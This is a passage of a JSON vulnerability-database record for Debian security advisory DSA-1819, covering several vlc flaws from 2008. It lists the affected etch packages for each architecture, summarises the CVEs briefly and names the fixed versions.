GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "sparc", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "mipsel", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "src", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3.dsc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "ia64", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "ia64", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "ia64", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "ia64", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "ppc", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "i686", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "x86-64", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "i686", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "x86-64", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "i686", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-svgalib", "arch": "i686", "packageFilename": "vlc-plugin-svgalib_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "i686", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "ia64", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "hppa", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "mipsel", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "s390x", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "x86-64", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "mipsel", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "ppc", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "mipsel", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "ppc", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "arm", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "ia64", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "sparc", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "s390x", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "mipsel", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3.diff", "packageName": "vlc", "arch": "src", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3.diff.gz", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "mips", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "sparc", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "i686", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "hppa", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "ppc", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "ppc", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "hppa", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "mips", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "hppa", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "mipsel", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "mips", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "x86-64", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "s390x", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "sparc", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "s390x", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "x86-64", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "s390x", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "ppc", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "alpha", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "mips", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "mipsel", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "i686", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "arm", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "sparc", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "arm", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "ppc", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "x86-64", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "x86-64", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "ia64", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "s390x", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "wxvlc", "arch": "all", "packageFilename": "wxvlc_0.8.6-svn20061012.debian-5.1+etch3_all.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "s390x", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "sparc", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}], "edition": 1, "description": "Several vulnerabilities have been discovered in vlc, a multimedia player and streamer. The Common Vulnerabilities and Exposures project identifies the following problems:\n\n * [CVE-2008-1768](<https://security-tracker.debian.org/tracker/CVE-2008-1768>)\n\nDrew Yao discovered that multiple integer overflows in the MP4 demuxer, Real demuxer and Cinepak codec can lead to the execution of arbitrary code.\n\n * [CVE-2008-1769](<https://security-tracker.debian.org/tracker/CVE-2008-1769>)\n\nDrew Yao discovered that the Cinepak codec is prone to a memory corruption, which can be triggered by a crafted Cinepak file.\n\n * [CVE-2008-1881](<https://security-tracker.debian.org/tracker/CVE-2008-1881>)\n\nLuigi Auriemma discovered that it is possible to execute arbitrary code via a long subtitle in an SSA file.\n\n * [CVE-2008-2147](<https://security-tracker.debian.org/tracker/CVE-2008-2147>)\n\nIt was discovered that vlc is prone to a search path vulnerability, which allows local users to perform privilege escalations.\n\n * [CVE-2008-2430](<https://security-tracker.debian.org/tracker/CVE-2008-2430>)\n\nAlin Rad Pop discovered that it is possible to execute arbitrary code when opening a WAV file containing a large fmt chunk.\n\n * [CVE-2008-3794](<https://security-tracker.debian.org/tracker/CVE-2008-3794>)\n\nP\u00c4\u00b1nar Yanarda\u011f discovered that it is possible to execute arbitrary code when opening a crafted mmst link.\n\n * [CVE-2008-4686](<https://security-tracker.debian.org/tracker/CVE-2008-4686>)\n\nTobias Klein discovered that it is possible to execute arbitrary code when opening a crafted .ty file.\n\n * [CVE-2008-5032](<https://security-tracker.debian.org/tracker/CVE-2008-5032>)\n\nTobias Klein discovered that it is possible to execute arbitrary code when opening an invalid CUE image file with a crafted header.\n\nFor the oldstable distribution (etch), these problems have been fixed in version 0.8.6-svn20061012.debian-5.1+etch3.\n\nFor the stable distribution (lenny), these problems have been fixed in version 0.8.6.h-4+lenny2, which was already included in the lenny release.\n\nFor the testing distribution (squeeze) and the unstable distribution (sid), these problems have been fixed in version 0.8.6.h-5.\n\nWe recommend that you upgrade your vlc packages.", "reporter": "Debian", "published": "2009-06-18T00:00:00", "title": "vlc -- several vulnerabilities", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "debian", "bulletinFamily": "unix", "cvelist": ["CVE-2008-4686", "CVE-2008-1768", "CVE-2008-1769", "CVE-2008-5032", "CVE-2008-1881", "CVE-2008-3794", "CVE-2008-2147", "CVE-2008-2430"], "modified": "2009-06-18T00:00:00", "href": "http://www.debian.org/security/dsa-1819", "id": "DSA-1819", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}
